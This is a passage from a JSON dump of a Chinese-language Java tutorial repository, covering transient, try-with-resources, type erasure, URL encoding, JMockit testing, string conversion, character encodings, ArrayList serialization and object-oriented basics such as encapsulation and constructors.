    "content": "在关于java的集合类的学习中，我们发现`ArrayList`类和`Vector`类都是使用数组实现的，但是在定义数组`elementData`这个属性时稍有不同，那就是`ArrayList`使用`transient`关键字\n\n    private transient Object[] elementData;  \n    \n    protected Object[] elementData;  \n    \n\n那么，首先我们来看一下**transient**关键字的作用是什么。\n\n\n### transient\n\n> Java语言的关键字，变量修饰符，如果用transient声明一个实例变量，当对象存储时，它的值不需要维持。这里的对象存储是指，Java的serialization提供的一种持久化对象实例的机制。当一个对象被序列化的时候，transient型变量的值不包括在序列化的表示中，然而非transient型的变量是被包括进去的。使用情况是：当持久化对象时，可能有一个特殊的对象数据成员，我们不想用serialization机制来保存它。为了在一个特定对象的一个域上关闭serialization，可以在这个域前加上关键字transient。\n\n简单点说，就是被transient修饰的成员变量，在序列化的时候其值会被忽略，在被反序列化后， transient 变量的值被设为初始值， 如 int 型的是 0，对象型的是 null。"
  },
  {
    "path": "docs/basics/java-basic/try-with-resources.md",
    "content": "Java里，对于文件操作IO流、数据库连接等开销非常昂贵的资源，用完之后必须及时通过close方法将其关闭，否则资源会一直处于打开状态，可能会导致内存泄露等问题。\n\n关闭资源的常用方式就是在finally块里是释放，即调用close方法。比如，我们经常会写这样的代码：\n\n    public static void main(String[] args) {\n        BufferedReader br = null;\n        try {\n            String line;\n            br = new BufferedReader(new FileReader(\"d:\\\\hollischuang.xml\"));\n            while ((line = br.readLine()) != null) {\n                System.out.println(line);\n            }\n        } catch (IOException e) {\n            // handle exception\n        } finally {\n            try {\n                if (br != null) {\n                    br.close();\n                }\n            } catch (IOException ex) {\n                // handle exception\n            }\n        }\n    }\n    \n从Java 7开始，jdk提供了一种更好的方式关闭资源，使用try-with-resources语句，改写一下上面的代码，效果如下：\n\n    public static void main(String... args) {\n        try (BufferedReader br = new BufferedReader(new FileReader(\"d:\\\\ hollischuang.xml\"))) {\n            String line;\n            while ((line = br.readLine()) != null) {\n                System.out.println(line);\n            }\n        } catch (IOException e) {\n            // handle exception\n        }\n    }\n    \n看，这简直是一大福音啊，虽然我之前一般使用IOUtils去关闭流，并不会使用在finally中写很多代码的方式，但是这种新的语法糖看上去好像优雅很多呢。看下他的背后：\n    \n    public static transient void main(String args[])\n        {\n            BufferedReader br;\n            Throwable throwable;\n            br = new BufferedReader(new FileReader(\"d:\\\\ hollischuang.xml\"));\n            throwable = null;\n            String line;\n            try\n            {\n                while((line = br.readLine()) != null)\n                    System.out.println(line);\n            }\n            catch(Throwable throwable2)\n            {\n                throwable = throwable2;\n                throw throwable2;\n            }\n            if(br != null)\n                if(throwable != null)\n                    try\n                    {\n                        br.close();\n                    }\n                    catch(Throwable throwable1)\n                    {\n                        throwable.addSuppressed(throwable1);\n                    }\n                else\n                    br.close();\n                break MISSING_BLOCK_LABEL_113;\n                Exception exception;\n                exception;\n                if(br != null)\n                    if(throwable != null)\n                        try\n                        {\n                            br.close();\n                        }\n                        catch(Throwable throwable3)\n                          {\n                            throwable.addSuppressed(throwable3);\n                        }\n                    else\n                        br.close();\n            throw exception;\n            IOException ioexception;\n            ioexception;\n        }\n    }\n    \n其实背后的原理也很简单，那些我们没有做的关闭资源的操作，编译器都帮我们做了。所以，再次印证了，语法糖的作用就是方便程序员的使用，但最终还是要转成编译器认识的语言。"
  },
  {
    "path": "docs/basics/java-basic/type-erasure.md",
    "content": "\n\n### 一、各种语言中的编译器是如何处理泛型的\n\n通常情况下，一个编译器处理泛型有两种方式：\n\n1\\.`Code specialization`。在实例化一个泛型类或泛型方法时都产生一份新的目标代码（字节码or二进制代码）。例如，针对一个泛型`List`，可能需要 针对`String`，`Integer`，`Float`产生三份目标代码。\n\n2\\.`Code sharing`。对每个泛型类只生成唯一的一份目标代码；该泛型类的所有实例都映射到这份目标代码上，在需要的时候执行类型检查和类型转换。\n\n**C++** 中的模板（`template`）是典型的`Code specialization`实现。**C++** 编译器会为每一个泛型类实例生成一份执行代码。执行代码中`Integer List`和`String List`是两种不同的类型。这样会导致**代码膨胀（code bloat）**。 **C#** 里面泛型无论在程序源码中、编译后的`IL`中（Intermediate Language，中间语言，这时候泛型是一个占位符）或是运行期的CLR中都是切实存在的，`List<Integer>`与`List<String>`就是两个不同的类型，它们在系统运行期生成，有自己的虚方法表和类型数据，这种实现称为类型膨胀，基于这种方法实现的泛型被称为`真实泛型`。 **Java**语言中的泛型则不一样，它只在程序源码中存在，在编译后的字节码文件中，就已经被替换为原来的原生类型（Raw Type，也称为裸类型）了，并且在相应的地方插入了强制转型代码，因此对于运行期的Java语言来说，`ArrayList<Integer>`与`ArrayList<String>`就是同一个类。所以说泛型技术实际上是Java语言的一颗语法糖，Java语言中的泛型实现方法称为**类型擦除**，基于这种方法实现的泛型被称为`伪泛型`。\n\n`C++`和`C#`是使用`Code specialization`的处理机制，前面提到，他有一个缺点，那就是**会导致代码膨胀**。另外一个弊端是在引用类型系统中，浪费空间，因为引用类型集合中元素本质上都是一个指针。没必要为每个类型都产生一份执行代码。而这也是Java编译器中采用`Code sharing`方式处理泛型的主要原因。\n\n`Java`编译器通过`Code sharing`方式为每个泛型类型创建唯一的字节码表示，并且将该泛型类型的实例都映射到这个唯一的字节码表示上。将多种泛型类形实例映射到唯一的字节码表示是通过**类型擦除**（`type erasure`）实现的。\n\n* * *\n\n### 二、什么是类型擦除\n\n前面我们多次提到这个词：**类型擦除**（`type erasure`），那么到底什么是类型擦除呢？\n\n> 类型擦除指的是通过类型参数合并，将泛型类型实例关联到同一份字节码上。编译器只为泛型类型生成一份字节码，并将其实例关联到这份字节码上。类型擦除的关键在于从泛型类型中清除类型参数的相关信息，并且再必要的时候添加类型检查和类型转换的方法。 类型擦除可以简单的理解为将泛型java代码转换为普通java代码，只不过编译器更直接点，将泛型java代码直接转换成普通java字节码。 类型擦除的主要过程如下： 1.将所有的泛型参数用其最左边界（最顶级的父类型）类型替换。（这部分内容可以看：[Java泛型中extends和super的理解][2]） 2.移除所有的类型参数。\n\n* * *\n\n### 三、Java编译器处理泛型的过程\n\n**code 1:**\n\n    public static void main(String[] args) {  \n        Map<String, String> map = new HashMap<String, String>();  \n        map.put(\"name\", \"hollis\");  \n        map.put(\"age\", \"22\");  \n        System.out.println(map.get(\"name\"));  \n        System.out.println(map.get(\"age\"));  \n    }  \n\n\n**反编译后的code 1:**\n\n    public static void main(String[] args) {  \n        Map map = new HashMap();  \n        map.put(\"name\", \"hollis\");  \n        map.put(\"age\", \"22\"); \n        System.out.println((String) map.get(\"name\"));  \n        System.out.println((String) map.get(\"age\"));  \n    }  \n\n\n我们发现泛型都不见了，程序又变回了Java泛型出现之前的写法，泛型类型都变回了原生类型，\n\n* * *\n\n**code 2:**\n\n    interface Comparable<A> {\n        public int compareTo(A that);\n    }\n    \n    public final class NumericValue implements Comparable<NumericValue> {\n        private byte value;\n    \n        public NumericValue(byte value) {\n            this.value = value;\n        }\n    \n        public byte getValue() {\n            return value;\n        }\n    \n        public int compareTo(NumericValue that) {\n            return this.value - that.value;\n        }\n    }\n\n\n**反编译后的code 2:**\n\n     interface Comparable {\n      public int compareTo( Object that);\n    } \n    \n    public final class NumericValue\n        implements Comparable\n    {\n        public NumericValue(byte value)\n        {\n            this.value = value;\n        }\n        public byte getValue()\n        {\n            return value;\n        }\n        public int compareTo(NumericValue that)\n        {\n            return value - that.value;\n        }\n        public volatile int compareTo(Object obj)\n        {\n            return compareTo((NumericValue)obj);\n        }\n        private byte value;\n    }\n\n* * *\n\n**code 3:**\n\n    public class Collections {\n        public static <A extends Comparable<A>> A max(Collection<A> xs) {\n            Iterator<A> xi = xs.iterator();\n            A w = xi.next();\n            while (xi.hasNext()) {\n                A x = xi.next();\n                if (w.compareTo(x) < 0)\n                    w = x;\n            }\n            return w;\n        }\n    }\n\n\n**反编译后的code 3:**\n\n    public class Collections\n    {\n        public Collections()\n        {\n        }\n        public static Comparable max(Collection xs)\n        {\n            Iterator xi = xs.iterator();\n            Comparable w = (Comparable)xi.next();\n            while(xi.hasNext())\n            {\n                Comparable x = (Comparable)xi.next();\n                if(w.compareTo(x) < 0)\n                    w = x;\n            }\n            return w;\n        }\n    }\n\n\n第2个泛型类`Comparable <A>`擦除后 A被替换为最左边界`Object`。`Comparable<NumericValue>`的类型参数`NumericValue`被擦除掉，但是这直 接导致`NumericValue`没有实现接口`Comparable的compareTo(Object that)`方法，于是编译器充当好人，添加了一个**桥接方法**。 第3个示例中限定了类型参数的边界`<A extends Comparable<A>>A`，A必须为`Comparable<A>`的子类，按照类型擦除的过程，先讲所有的类型参数 ti换为最左边界`Comparable<A>`，然后去掉参数类型`A`，得到最终的擦除后结果。\n\n* * *\n\n### 四、泛型带来的问题\n\n**一、当泛型遇到重载：**\n\n    public class GenericTypes {  \n    \n        public static void method(List<String> list) {  \n            System.out.println(\"invoke method(List<String> list)\");  \n        }  \n    \n        public static void method(List<Integer> list) {  \n            System.out.println(\"invoke method(List<Integer> list)\");  \n        }  \n    }  \n\n\n上面这段代码，有两个重载的函数，因为他们的参数类型不同，一个是`List<String>`另一个是`List<Integer>` ，但是，这段代码是编译通不过的。因为我们前面讲过，参数`List<Integer>`和`List<String>`编译之后都被擦除了，变成了一样的原生类型List<e>，擦除动作导致这两个方法的特征签名变得一模一样。</e>\n\n**二、当泛型遇到catch:**\n\n如果我们自定义了一个泛型异常类GenericException<t>，那么，不要尝试用多个catch取匹配不同的异常类型，例如你想要分别捕获GenericException<String>、GenericException<Integer>，这也是有问题的。</Integer></String></t>\n\n三、当泛型内包含静态变量\n\n    public class StaticTest{\n        public static void main(String[] args){\n            GT<Integer> gti = new GT<Integer>();\n            gti.var=1;\n            GT<String> gts = new GT<String>();\n            gts.var=2;\n            System.out.println(gti.var);\n        }\n    }\n    class GT<T>{\n        public static int var=0;\n        public void nothing(T x){}\n    }\n\n\n答案是——2！由于经过类型擦除，所有的泛型类实例都关联到同一份字节码上，泛型类的所有静态变量是共享的。\n\n* * *\n\n### 五、总结\n\n1\\.虚拟机中没有泛型，只有普通类和普通方法,所有泛型类的类型参数在编译时都会被擦除,泛型类并没有自己独有的Class类对象。比如并不存在`List<String>`.class或是`List<Integer>.class`，而只有`List.class`。 2.创建泛型对象时请指明类型，让编译器尽早的做参数检查（**Effective Java，第23条：请不要在新代码中使用原生态类型**） 3.不要忽略编译器的警告信息，那意味着潜在的`ClassCastException`等着你。 4.静态变量是被泛型类的所有实例所共享的。对于声明为`MyClass<T>`的类，访问其中的静态变量的方法仍然是 `MyClass.myStaticVar`。不管是通过`new MyClass<String>`还是`new MyClass<Integer>`创建的对象，都是共享一个静态变量。 5.泛型的类型参数不能用在`Java`异常处理的`catch`语句中。因为异常处理是由JVM在运行时刻来进行的。由于类型信息被擦除，`JVM`是无法区分两个异常类型`MyException<String>`和`MyException<Integer>`的。对于`JVM`来说，它们都是 `MyException`类型的。也就无法执行与异常对应的`catch`语句。\n\n[1]: http://docs.oracle.com/javase/tutorial/java/generics/erasure.html\n[2]: /archives/255\n"
  },
  {
    "path": "docs/basics/java-basic/url-encode.md",
    "content": "网络标准RFC 1738做了硬性规定 :只有字母和数字[0-9a-zA-Z]、一些特殊符号“$-_.+!*'(),”[不包括双引号]、以及某些保留字，才可以不经过编码直接用于URL;\n\n除此以外的字符是无法在URL中展示的，所以，遇到这种字符，如中文，就需要进行编码。\n\n所以，把带有特殊字符的URL转成可以显示的URL过程，称之为URL编码。\n\n反之，就是解码。\n\nURL编码可以使用不同的方式，如escape，URLEncode，encodeURIComponent。"
  },
  {
    "path": "docs/basics/java-basic/usage-of-reflection.md",
    "content": "在运行时判断任意一个对象所属的类。\n\n在运行时判断任意一个类所具有的成员变量和方法。\n\n在运行时任意调用一个对象的方法\n\n在运行时构造任意一个类的对象\n\n"
  },
  {
    "path": "docs/basics/java-basic/ut-with-jmockit.md",
    "content": "JMockit是基于JavaSE5中的java.lang.instrument包开发，内部使用ASM库来动态修改java的字节码，使得java这种静态语言可以想动态脚本语言一样动态设置被Mock对象私有属性，模拟静态、私有方法行为等等，对于手机开发，嵌入式开发等要求代码尽量简洁的情况下，或者对于被测试代码不想做任何修改的前提下，使用JMockit可以轻松搞定很多测试场景。\n\n[<img src=\"http://www.hollischuang.com/wp-content/uploads/2015/09/20140104100723093.jpg\" alt=\"20140104100723093\" width=\"885\" height=\"1010\" class=\"alignleft size-full wp-image-571\" />][1]\n\n通过如下方式在maven中添加JMockit的相关依赖：\n\n            <dependency>  \n                <groupId>com.googlecode.jmockit</groupId>  \n                <artifactId>jmockit</artifactId>  \n                <version>1.5</version>  \n                <scope>test</scope>  \n            </dependency>  \n            <dependency>  \n                <groupId>com.googlecode.jmockit</groupId>  \n                <artifactId>jmockit-coverage</artifactId>  \n                <version>0.999.24</version>  \n                <scope>test</scope>  \n            </dependency>\n    \n\nJMockit有两种Mock方式：基于行为的Mock方式和基于状态的Mock方式：\n\n引用单元测试中mock的使用及mock神器jmockit实践中JMockit API和工具如下：\n\n[<img src=\"http://www.hollischuang.com/wp-content/uploads/2015/09/20140104102342843.jpg\" alt=\"20140104102342843\" width=\"913\" height=\"472\" class=\"alignleft size-full wp-image-572\" />][2]\n\n### (1).基于行为的Mock方式：\n\n非常类似与EasyMock和PowerMock的工作原理，基本步骤为：\n\n1\\.录制方法预期行为。\n\n2\\.真实调用。\n\n3\\.验证录制的行为被调用。\n\n通过一个简单的例子来介绍JMockit的基本流程：\n\n**要Mock测试的方法如下：**\n\n    public class MyObject {\n        public String hello(String name){\n            return \"Hello \" + name;\n        }\n    }\n    \n\n**使用JMockit编写的单元测试如下：**\n\n    @Mocked  //用@Mocked标注的对象，不需要赋值，jmockit自动mock  \n    MyObject obj;  \n    \n    @Test  \n    public void testHello() {  \n        new NonStrictExpectations() {//录制预期模拟行为  \n            {  \n                obj.hello(\"Zhangsan\");  \n                returns(\"Hello Zhangsan\");  \n                //也可以使用：result = \"Hello Zhangsan\";  \n            }  \n        };  \n        assertEquals(\"Hello Zhangsan\", obj.hello(\"Zhangsan\"));//调用测试方法  \n        new Verifications() {//验证预期Mock行为被调用  \n            {  \n                obj.hello(\"Hello Zhangsan\");  \n                times = 1;  \n            }  \n        };  \n    }  \n    \n\nJMockit也可以分类为非局部模拟与局部模拟，区分在于Expectations块是否有参数，有参数的是局部模拟，反之是非局部模拟。\n\n而Expectations块一般由Expectations类和NonStrictExpectations类定义，类似于EasyMock和PowerMock中的Strict Mock和一般性Mock。\n\n用Expectations类定义的，则mock对象在运行时只能按照 Expectations块中定义的顺序依次调用方法，不能多调用也不能少调用，所以可以省略掉Verifications块；\n\n而用NonStrictExpectations类定义的，则没有这些限制，所以如果需要验证，则要添加Verifications块。\n\n上述的例子使用了非局部模拟，下面我们使用局部模拟来改写上面的测试，代码如下：\n\n    @Test  \n    public void testHello() {  \n        final MyObject obj = new MyObject();  \n        new NonStrictExpectations(obj) {//录制预期模拟行为  \n            {  \n                obj.hello(\"Zhangsan\");  \n                returns(\"Hello Zhangsan\");  \n                //也可以使用：result = \"Hello Zhangsan\";  \n            }  \n        };  \n        assertEquals(\"Hello Zhangsan\", obj.hello(\"Zhangsan\"));//调用测试方法  \n        new Verifications() {//验证预期Mock行为被调用  \n            {  \n                obj.hello(\"Hello Zhangsan\");  \n                times = 1;  \n            }  \n        };  \n    }  \n    \n\n**模拟静态方法：**\n\n    @Test  \n    public void testMockStaticMethod() {  \n        new NonStrictExpectations(ClassMocked.class) {  \n            {  \n                ClassMocked.getDouble(1);//也可以使用参数匹配：ClassMocked.getDouble(anyDouble);  \n                result = 3;  \n            }  \n        };  \n    \n        assertEquals(3, ClassMocked.getDouble(1));  \n    \n        new Verifications() {  \n            {  \n                ClassMocked.getDouble(1);  \n                times = 1;  \n            }  \n        };  \n    }  \n    \n\n**模拟私有方法：**\n\n如果ClassMocked类中的getTripleString(int)方法指定调用一个私有的multiply3(int)的方法，我们可以使用如下方式来Mock：\n\n    @Test  \n    public void testMockPrivateMethod() throws Exception {  \n        final ClassMocked obj = new ClassMocked();  \n        new NonStrictExpectations(obj) {  \n            {  \n                this.invoke(obj, \"multiply3\", 1);//如果私有方法是静态的，可以使用：this.invoke(null, \"multiply3\")  \n                result = 4;  \n            }  \n        };  \n    \n        String actual = obj.getTripleString(1);  \n        assertEquals(\"4\", actual);  \n    \n        new Verifications() {  \n            {  \n                this.invoke(obj, \"multiply3\", 1);  \n                times = 1;  \n            }  \n        };  \n    }  \n    \n\n**设置Mock对象私有属性的值：** 我们知道EasyMock和PowerMock的Mock对象是通过JDK/CGLIB动态代理实现的，本质上是类的继承或者接口的实现，但是在java面向对象编程中，基类对象中的私有属性是无法被子类继承的，所以如果被Mock对象的方法中使用到了其自身的私有属性，并且这些私有属性没有提供对象访问方法，则使用传统的Mock方法是无法进行测试的，JMockit提供了设置Mocked对象私有属性值的方法，代码如下： 被测试代码：\n\n    public class ClassMocked {  \n        private String name = \"name_init\";  \n    \n        public String getName() {  \n            return name;  \n        }  \n    \n        private static String className=\"Class3Mocked_init\";  \n    \n        public static String getClassName(){  \n            return className;  \n        }  \n    }  \n    \n\n**使用JMockit设置私有属性：**\n\n    @Test  \n    public void testMockPrivateProperty() throws IOException {  \n        final ClassMocked obj = new ClassMocked();  \n        new NonStrictExpectations(obj) {  \n            {  \n                this.setField(obj, \"name\", \"name has bean change!\");  \n            }  \n        };  \n    \n        assertEquals(\"name has bean change!\", obj.getName());  \n    }  \n    \n\n**使用JMockit设置静态私有属性：**\n\n    @Test  \n    public void testMockPrivateStaticProperty() throws IOException {  \n        new NonStrictExpectations(Class3Mocked.class) {  \n            {  \n                this.setField(ClassMocked.class, \"className\", \"className has bean change!\");  \n            }  \n        };  \n    \n        assertEquals(\"className has bean change!\", ClassMocked.getClassName());  \n    }  \n    \n\n### (2).基于状态的Mock方式：\n\nJMockit上面的基于行为Mock方式和传统的EasyMock和PowerMock流程基本类似，相当于把被模拟的方法当作黑盒来处理，而JMockit的基于状态的Mock可以直接改写被模拟方法的内部逻辑，更像是真正意义上的白盒测试，下面通过简单例子介绍JMockit基于状态的Mock。 被测试的代码如下：\n\n    public class StateMocked {  \n    \n        public static int getDouble(int i){  \n            return i*2;  \n        }  \n    \n        public int getTriple(int i){  \n            return i*3;  \n        }  \n    } \n    \n\n**改写普通方法内容：**\n\n    @Test  \n    public void testMockNormalMethodContent() throws IOException {  \n        StateMocked obj = new StateMocked();  \n        new MockUp<StateMocked>() {//使用MockUp修改被测试方法内部逻辑  \n            @Mock  \n          public int getTriple(int i) {  \n                return i * 30;  \n            }  \n        };  \n        assertEquals(30, obj.getTriple(1));  \n        assertEquals(60, obj.getTriple(2));  \n        Mockit.tearDownMocks();//注意：在JMockit1.5之后已经没有Mockit这个类，使用MockUp代替，mockUp和tearDown方法在MockUp类中  \n    }  \n    \n\n**修改静态方法的内容：** 基于状态的JMockit改写静态/final方法内容和测试普通方法没有什么区别，需要注意的是在MockUp中的方法除了不包含static关键字以外，其他都和被Mock的方法签名相同，并且使用@Mock标注，测试代码如下：\n\n    @Test  \n        public void testGetTriple() {  \n            new MockUp<StateMocked>() {  \n                @Mock    \n                public int getDouble(int i){    \n                    return i*20;    \n                }  \n            };    \n            assertEquals(20, StateMocked.getDouble(1));    \n            assertEquals(40, StateMocked.getDouble(2));   \n        }  \n    \n\n原文链接: http://blog.csdn.net/chjttony/article/details/17838693\n\n [1]: http://www.hollischuang.com/wp-content/uploads/2015/09/20140104100723093.jpg\n [2]: http://www.hollischuang.com/wp-content/uploads/2015/09/20140104102342843.jpg"
  },
  {
    "path": "docs/basics/java-basic/value-of-vs-to-string.md",
    "content": "我们有三种方式将一个int类型的变量变成一个String类型，那么他们有什么区别？\n\n    1.int i = 5;\n    2.String i1 = \"\" + i;\n    3.String i2 = String.valueOf(i);\n    4.String i3 = Integer.toString(i);\n\n第三行和第四行没有任何区别，因为String.valueOf(i)也是调用Integer.toString(i)来实现的。\n\n第二行代码其实是String i1 = (new StringBuilder()).append(i).toString();，首先创建一个StringBuilder对象，然后再调用append方法，再调用toString方法。\n"
  },
  {
    "path": "docs/basics/java-basic/why-gbk.md",
    "content": "其实UTF8确实已经是国际通用的字符编码了，但是这种字符标准毕竟是外国定的，而国内也有类似的标准指定组织，也需要制定一套国内通用的标准，于是GBK就诞生了。"
  },
  {
    "path": "docs/basics/java-basic/why-transient-in-arraylist.md",
    "content": "\n\n`ArrayList`使用了`transient`关键字进行存储优化，而`Vector`没有这样做，为什么？\n\n### ArrayList\n\n    /** \n         * Save the state of the <tt>ArrayList</tt> instance to a stream (that \n         * is, serialize it). \n         * \n         * @serialData The length of the array backing the <tt>ArrayList</tt> \n         *             instance is emitted (int), followed by all of its elements \n         *             (each an <tt>Object</tt>) in the proper order. \n         */  \n        private void writeObject(java.io.ObjectOutputStream s)  \n            throws java.io.IOException{  \n            // Write out element count, and any hidden stuff  \n            int expectedModCount = modCount;  \n            s.defaultWriteObject();  \n    \n            // Write out array length  \n            s.writeInt(elementData.length);  \n    \n            // Write out all elements in the proper order.  \n            for (int i=0; i<size; i++)  \n                s.writeObject(elementData[i]);  \n    \n            if (modCount != expectedModCount) {  \n                throw new ConcurrentModificationException();  \n            }  \n    \n        }  \n    \n\nArrayList实现了writeObject方法，可以看到只保存了非null的数组位置上的数据。即list的size个数的elementData。需要额外注意的一点是，ArrayList的实现，提供了fast-fail机制，可以提供弱一致性。\n\n### Vector\n\n    /**\n         * Save the state of the {@code Vector} instance to a stream (that\n         * is, serialize it).\n         * This method performs synchronization to ensure the consistency\n         * of the serialized data.\n         */\n        private void writeObject(java.io.ObjectOutputStream s)\n                throws java.io.IOException {\n            final java.io.ObjectOutputStream.PutField fields = s.putFields();\n            final Object[] data;\n            synchronized (this) {\n                fields.put(\"capacityIncrement\", capacityIncrement);\n                fields.put(\"elementCount\", elementCount);\n                data = elementData.clone();\n            }\n            fields.put(\"elementData\", data);\n            s.writeFields();\n        }\n    \n\nVector也实现了writeObject方法，但方法并没有像ArrayList一样进行优化存储，实现语句是\n\n`data = elementData.clone();`\n\nclone()的时候会把null值也拷贝。所以保存相同内容的Vector与ArrayList，Vector的占用的字节比ArrayList要多。\n\n可以测试一下，序列化存储相同内容的Vector与ArrayList，分别到一个文本文件中去。* Vector需要243字节* ArrayList需要135字节 分析：\n\nArrayList是非同步实现的一个单线程下较为高效的数据结构（相比Vector来说）。 ArrayList只通过一个修改记录字段提供弱一致性，主要用在迭代器里。没有同步方法。 即上面提到的Fast-fail机制.ArrayList的存储结构定义为transient，重写writeObject来实现自定义的序列化，优化了存储。\n\nVector是多线程环境下更为可靠的数据结构，所有方法都实现了同步。\n\n### 区别\n\n> 同步处理：Vector同步，ArrayList非同步 Vector缺省情况下增长原来一倍的数组长度，ArrayList是0.5倍. ArrayList: int newCapacity = oldCapacity + (oldCapacity >> 1); ArrayList自动扩大容量为原来的1.5倍（实现的时候，方法会传入一个期望的最小容量，若扩容后容量仍然小于最小容量，那么容量就为传入的最小容量。扩容的时候使用的Arrays.copyOf方法最终调用native方法进行新数组创建和数据拷贝）\n>  \n> Vector: int newCapacity = oldCapacity + ((capacityIncrement > 0) ? capacityIncrement : oldCapacity);\n>  \n> Vector指定了`initialCapacity，capacityIncrement`来初始化的时候，每次增长`capacityIncrement`"
  },
  {
    "path": "docs/basics/java-basic/why-utf8.md",
    "content": "广义的 Unicode 是一个标准，定义了一个字符集以及一系列的编码规则，即 Unicode 字符集和 UTF-8、UTF-16、UTF-32 等等编码规则。\n\nUnicode 是字符集。UTF-8 是编码规则。\n\nunicode虽然统一了全世界字符的二进制编码，但没有规定如何存储。\n\n如果Unicode统一规定，每个符号就要用三个或四个字节表示，因为字符太多，只能用这么多字节才能表示完全。\n\n一旦这么规定，那么每个英文字母前都必然有二到三个字节是0，因为所有英文字母在ASCII中都有，都可以用一个字节表示，剩余字节位置就要补充0。\n\n如果这样，文本文件的大小会因此大出二三倍，这对于存储来说是极大的浪费。这样导致一个后果：出现了Unicode的多种存储方式。\n\nUTF-8就是Unicode的一个使用方式，通过他的英文名Unicode Tranformation Format就可以知道。\n\nUTF-8使用可变长度字节来储存 Unicode字符，例如ASCII字母继续使用1字节储存，重音文字、希腊字母或西里尔字母等使用2字节来储存，而常用的汉字就要使用3字节。辅助平面字符则使用4字节。\n\n一般情况下，同一个地区只会出现一种文字类型，比如中文地区一般很少出现韩文，日文等。所以使用这种编码方式可以大大节省空间。比如纯英文网站就要比纯中文网站占用的存储小一些。"
  },
  {
    "path": "docs/basics/object-oriented/characteristics.md",
    "content": "我们说面向对象的开发范式，其实是对现实世界的理解和抽象的方法，那么，具体如何将现实世界抽象成代码呢？这就需要运用到面向对象的三大特性，分别是封装性、继承性和多态性。\n\n### 封装(Encapsulation)\n\n所谓封装，也就是把客观事物封装成抽象的类，并且类可以把自己的数据和方法只让可信的类或者对象操作，对不可信的进行信息隐藏。\n\n简单的说，一个类就是一个封装了数据以及操作这些数据的代码的逻辑实体。在一个对象内部，某些代码或某些数据可以是私有的，不能被外界访问。通过这种方式，对象对内部数据提供了不同级别的保护，以防止程序中无关的部分意外的改变或错误的使用了对象的私有部分。\n\n#### 封装举例\n\n如我们想要定义一个矩形，先定义一个Rectangle类，并其中通过封装的手段放入一些必备数据。\n\n    /**\n    * 矩形\n    */\n    class Rectangle {\n    \n         /**\n          * 设置矩形的长度和宽度\n          */\n         public Rectangle(int length, int width) {\n             this.length = length;\n             this.width = width;\n         }\n        \n         /**\n          * 长度\n          */\n         private int length;\n        \n         /**\n          * 宽度\n          */\n         private int width;\n        \n         /**\n          * 获得矩形面积\n          *\n          * @return\n          */\n         public int area() {\n             return this.length * this.width;\n         }\n    }\n    \n我们通过封装的方式，给\"矩形\"定义了\"长度\"和\"宽度\"，这就完成了对现实世界中的\"矩形\"的抽象的第一步。\n         \n### 继承(Inheritance)\n\n继承是指这样一种能力：它可以使用现有类的所有功能，并在无需重新编写原来的类的情况下对这些功能进行扩展。\n\n通过继承创建的新类称为“子类”或“派生类”，被继承的类称为“基类”、“父类”或“超类”。继承的过程，就是从一般到特殊的过程。\n\n#### 继承举例\n\n我们想要定义一个正方形，因为已经有了矩形，所以我们可以直接继承Rectangle类，因为正方形是长方形的一种特例。\n\n\n    /**\n     * 正方形，继承自矩形\n     */\n    class Square extends Rectangle {\n    \n        /**\n         * 设置正方形边长\n         *\n         * @param length\n         */\n        public Square(int length) {\n            super(length, length);\n        }\n    }\n    \n现实世界中，\"正方形\"是\"矩形\"的特例，或者说正方形是通过矩形派生出来的，这种派生关系，在面向对象中可以用继承来表达。\n\n### 多态(Polymorphism)\n\n所谓多态就是指一个类实例的相同方法在不同情形有不同表现形式。多态机制使具有不同内部结构的对象可以共享相同的外部接口。\n\n这意味着，虽然针对不同对象的具体操作不同，但通过一个公共的类，它们（那些操作）可以通过相同的方式予以调用。\n\n最常见的多态就是将子类传入父类参数中，运行时调用父类方法时通过传入的子类决定具体的内部结构或行为。\n\n关于多态的例子，我们第二章中深入开展介绍。\n\n在介绍了面向对象的封装、继承、多态的三个基本特征之后，我们基本掌握了对现实世界抽象的基本方法。\n\n莎士比亚说：\"一千个读者眼里有一千个​哈姆雷特\"，说到对现实世界的抽象，虽然方法相同，但是运用同样的方法，最终得到的结果可能千差万别，那么如何评价这个抽象的结果的好坏呢？\n\n这就要提到面喜爱那个对象的五大基本原则了，有了五大原则，我们参考他们来评价一个抽象的好坏。"
  },
  {
    "path": "docs/basics/object-oriented/constructor.md",
    "content": "构造函数，是一种特殊的方法。主要用来在创建对象时初始化对象，即为对象成员变量赋初始值，总与new运算符一起使用在创建对象的语句中。 \n\n    /**\n    * 矩形\n    */\n    class Rectangle {\n    \n         /**\n          * 构造函数\n          */\n         public Rectangle(int length, int width) {\n             this.length = length;\n             this.width = width;\n         }\n         \n         public static void main (String []args){\n            //使用构造函数创建对象\n            Rectangle rectangle = new Rectangle(10,5);\n            \n         }\n    }\n\n特别的一个类可以有多个构造函数，可根据其参数个数的不同或参数类型的不同来区分它们即构造函数的重载。\n         \n\n构造函数跟一般的实例方法十分相似；但是与其它方法不同，构造器没有返回类型，不会被继承，且可以有范围修饰符。\n\n构造器的函数名称必须和它所属的类的名称相同。它承担着初始化对象数据成员的任务。\n\n如果在编写一个可实例化的类时没有专门编写构造函数，多数编程语言会自动生成缺省构造器（默认构造函数）。默认构造函数一般会把成员变量的值初始化为默认值，如int -> 0，Integer -> null。\n\n\n如果在编写一个可实例化的类时没有专门编写构造函数，默认情况下，一个Java类中会自动生成一个默认无参构造函数。默认构造函数一般会把成员变量的值初始化为默认值，如int -> 0，Integer -> null。\n\n但是，如果我们手动在某个类中定义了一个有参数的构造函数，那么这个默认的无参构造函数就不会自动添加了。需要手动创建！\n\n    /**\n    * 矩形\n    */\n    class Rectangle {\n    \n         /**\n          * 构造函数\n          */\n         public Rectangle(int length, int width) {\n             this.length = length;\n             this.width = width;\n         }\n         \n         /**\n          * 无参构造函数\n          */\n         public Rectangle() {\n             \n         }\n    }\n"
  },
  {
    "path": "docs/basics/object-oriented/extends-implement.md",
